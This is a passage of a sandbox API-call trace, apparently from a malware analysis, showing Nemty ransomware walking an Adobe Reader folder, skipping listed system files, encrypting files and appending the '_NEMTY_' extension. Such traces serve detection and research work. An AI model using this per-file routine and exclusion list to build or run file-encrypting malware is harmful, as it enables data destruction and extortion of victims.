lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeSKY.htm", lpUsedDefaultChar=0x0) returned 13 [0194.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeSKY.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeSKY.htm", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeSKY.htm", lpUsedDefaultChar=0x0) returned 13 [0194.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeSKY.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeSKY.htm", cchWideChar=13, lpMultiByteStr=0x653f2a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeSKY.htm", lpUsedDefaultChar=0x0) returned 13 [0194.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.147] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeSKY.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.147] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeSKY.htm", cchWideChar=13, lpMultiByteStr=0x653f2d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeSKY.htm", lpUsedDefaultChar=0x0) returned 13 [0194.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351c60 [0194.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351cd8 | out: hHeap=0x4f90000) returned 1 [0194.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351cd8 [0194.147] Sleep (dwMilliseconds=0x5) [0194.155] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x275f5df0, dwHighDateTime=0x1d561e8)) [0194.155] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x275f5df0, dwHighDateTime=0x1d561e8)) [0194.156] GetLastError () returned 0x0 [0194.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0194.156] GetLastError () returned 0x0 [0194.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0194.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.156] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0194.156] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0194.156] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0194.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0194.156] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653ef9c | out: pszString="EZ8UeQQXf1S5fsfSnXM0Q543LZ89ouDluyjKgQmbUl0wm++uQKrvh+mcpeoIZBGQ\r\nNVhrKJzObgjY3pSp00f4BJNPNyhJPyWRqUGd7mX4nOi4ppJG71X8e6cYki7EuQG7\r\n+Z2tfOBbLD+31JnsKMTt1EDPb6ReVBXPNy59VouxUQOHj2fZhhNs0OFawPdYjXrS\r\nzHxLUTD+pxfPJltzICbPbGQaeads91eFg11HD3INmAX0JUGFQe7tLlbyIT1XSPcO\r\nwBtDk+TeqcvNkHSrWG2v0Gks8AhKeZbStzDPQJMppdnGuh0pceYO0pBzf/8dJOdq\r\njz5EtNLY40U23di3W19Vaw==\r\n", pcchString=0x653ef9c) returned 1 [0194.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0194.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0194.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0194.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0194.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0194.156] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmesky.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0194.157] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=17335) returned 1 [0194.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x43b0) returned 0x6352c48 [0194.157] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.157] ReadFile (in: hFile=0x1e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x43b0, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653f1e4*=0x43b0, lpOverlapped=0x0) returned 1 [0194.162] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.162] WriteFile (in: hFile=0x1e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x43b0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653f1dc*=0x43b0, lpOverlapped=0x0) returned 1 [0194.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0194.162] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=17335, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x43b7 [0194.162] WriteFile (in: hFile=0x1e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0194.162] CloseHandle (hObject=0x1e8) returned 1 [0194.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351d50 [0194.162] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0194.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.162] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0194.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0194.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351dc8 [0194.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0194.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351dc8 | out: hHeap=0x4f90000) returned 1 [0194.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0194.162] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmesky.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmesky.htm._nemty_kgobjgd_")) returned 1 [0194.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0194.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351d50 | out: hHeap=0x4f90000) returned 1 [0194.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0194.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0194.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0194.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0194.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351cd8 | out: hHeap=0x4f90000) returned 1 [0194.163] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4995, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="ReadMeUKR.htm", cAlternateFileName="README~1.HTM")) returned 1 [0194.163] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2=".") returned 1 [0194.164] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2="..") returned 1 [0194.164] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2="...") returned 1 [0194.164] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2="windows") returned -1 [0194.164] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2="$RECYCLE.BIN") returned 1 [0194.164] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2="rsa") returned -1 [0194.164] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2="NTDETECT.COM") returned 1 [0194.164] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2="ntldr") returned 1 [0194.164] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2="MSDOS.SYS") returned 1 [0194.164] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2="IO.SYS") returned 1 [0194.164] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2="boot.ini") returned 1 [0194.164] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2="boot.ini") returned 1 [0194.164] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2="AUTOEXEC.BAT") returned 1 [0194.164] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2="ntuser.dat") returned 1 [0194.164] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2="desktop.ini") returned 1 [0194.164] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2="CONFIG.SYS") returned 1 [0194.164] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2="RECYCLER") returned -1 [0194.164] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2="BOOTSECT.BAK") returned 1 [0194.164] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2="bootmgr") returned 1 [0194.164] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2="programdata") returned 1 [0194.164] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2="appdata") returned 1 [0194.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeUKR.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeUKR.htm", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeUKR.htm", lpUsedDefaultChar=0x0) returned 13 [0194.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0194.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeUKR.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeUKR.htm", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeUKR.htm", lpUsedDefaultChar=0x0) returned 13 [0194.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0194.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeUKR.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeUKR.htm", cchWideChar=13, lpMultiByteStr=0x653f2a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeUKR.htm", lpUsedDefaultChar=0x0) returned 13 [0194.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.165] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeUKR.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.165] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeUKR.htm", cchWideChar=13, lpMultiByteStr=0x653f2d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeUKR.htm", lpUsedDefaultChar=0x0) returned 13 [0194.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351cd8 [0194.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c60 | out: hHeap=0x4f90000) returned 1 [0194.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351c60 [0194.165] Sleep (dwMilliseconds=0x5) [0194.171] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x2761bf50, dwHighDateTime=0x1d561e8)) [0194.171] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x2761bf50, dwHighDateTime=0x1d561e8)) [0194.171] GetLastError () returned 0x0 [0194.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0194.171] GetLastError () returned 0x0 [0194.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0194.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0194.172] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0194.172] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0194.172] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0194.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0194.172] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653ef9c | out: pszString="LsSY1tWcwCysjuPEphn4kRD70rx5UqurDUbaKnNQ9sPk4E51J3Rx336MmqIp+yeF\r\ncn33i9DNbNPHTUgg8RXi/fTm9SeBlwWwPwHubYR6df4rFn/nSDfEBNXppmnpe/vk\r\n2+IdYOGO2/h28/oQHFdh+9HHmnMWw/kdOF8e+9q7ZxqvBmfuoCLWpKnkWoZfdT/b\r\nbFiw3waeNldR/SYCc6iYYFyZVp6zzoELIDVVnoM2tw+IE2y8qNT4jQ3iofEsQ9uF\r\n9PyYIoxbuTSmlx6r8roQ4dOARgpynS1z5oVp8LDuZb9ZUYzJPamwpMgDU1JPT5lo\r\nK/CUj6rMgs59++diMD/ZRA==\r\n", pcchString=0x653ef9c) returned 1 [0194.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0194.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0194.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0194.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0194.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0194.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0194.172] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmeukr.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0194.173] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18837) returned 1 [0194.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4990) returned 0x6352c48 [0194.173] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.173] ReadFile (in: hFile=0x1e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4990, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653f1e4*=0x4990, lpOverlapped=0x0) returned 1 [0194.179] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.179] WriteFile (in: hFile=0x1e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4990, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653f1dc*=0x4990, lpOverlapped=0x0) returned 1 [0194.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0194.179] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=18837, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4995 [0194.179] WriteFile (in: hFile=0x1e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0194.179] CloseHandle (hObject=0x1e8) returned 1 [0194.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351d50 [0194.179] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0194.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0194.179] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0194.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0194.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351dc8 [0194.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0194.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351dc8 | out: hHeap=0x4f90000) returned 1 [0194.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.179] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmeukr.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmeukr.htm._nemty_kgobjgd_")) returned 1 [0194.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0194.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351d50 | out: hHeap=0x4f90000) returned 1 [0194.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0194.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0194.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0194.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0194.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c60 | out: hHeap=0x4f90000) returned 1 [0194.180] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Resource", cAlternateFileName="")) returned 1 [0194.180] lstrcmpiW (lpString1="Resource", lpString2=".") returned 1 [0194.180] lstrcmpiW (lpString1="Resource", lpString2="..") returned 1 [0194.180] lstrcmpiW (lpString1="Resource", lpString2="...") returned 1 [0194.180] lstrcmpiW (lpString1="Resource", lpString2="windows") returned -1 [0194.180] lstrcmpiW (lpString1="Resource", lpString2="$RECYCLE.BIN") returned 1 [0194.180] lstrcmpiW (lpString1="Resource", lpString2="rsa") returned -1 [0194.180] lstrcmpiW (lpString1="Resource", lpString2="NTDETECT.COM") returned 1 [0194.180] lstrcmpiW (lpString1="Resource", lpString2="ntldr") returned 1 [0194.181] lstrcmpiW (lpString1="Resource", lpString2="MSDOS.SYS") returned 1 [0194.181] lstrcmpiW (lpString1="Resource", lpString2="IO.SYS") returned 1 [0194.181] lstrcmpiW (lpString1="Resource", lpString2="boot.ini") returned 1 [0194.181] lstrcmpiW (lpString1="Resource", lpString2="boot.ini") returned 1 [0194.181] lstrcmpiW (lpString1="Resource", lpString2="AUTOEXEC.BAT") returned 1 [0194.181] lstrcmpiW (lpString1="Resource", lpString2="ntuser.dat") returned 1 [0194.181] lstrcmpiW (lpString1="Resource", lpString2="desktop.ini") returned 1 [0194.181] lstrcmpiW (lpString1="Resource", lpString2="CONFIG.SYS") returned 1 [0194.181] lstrcmpiW (lpString1="Resource", lpString2="RECYCLER") returned 1 [0194.181] lstrcmpiW (lpString1="Resource", lpString2="BOOTSECT.BAK") returned 1 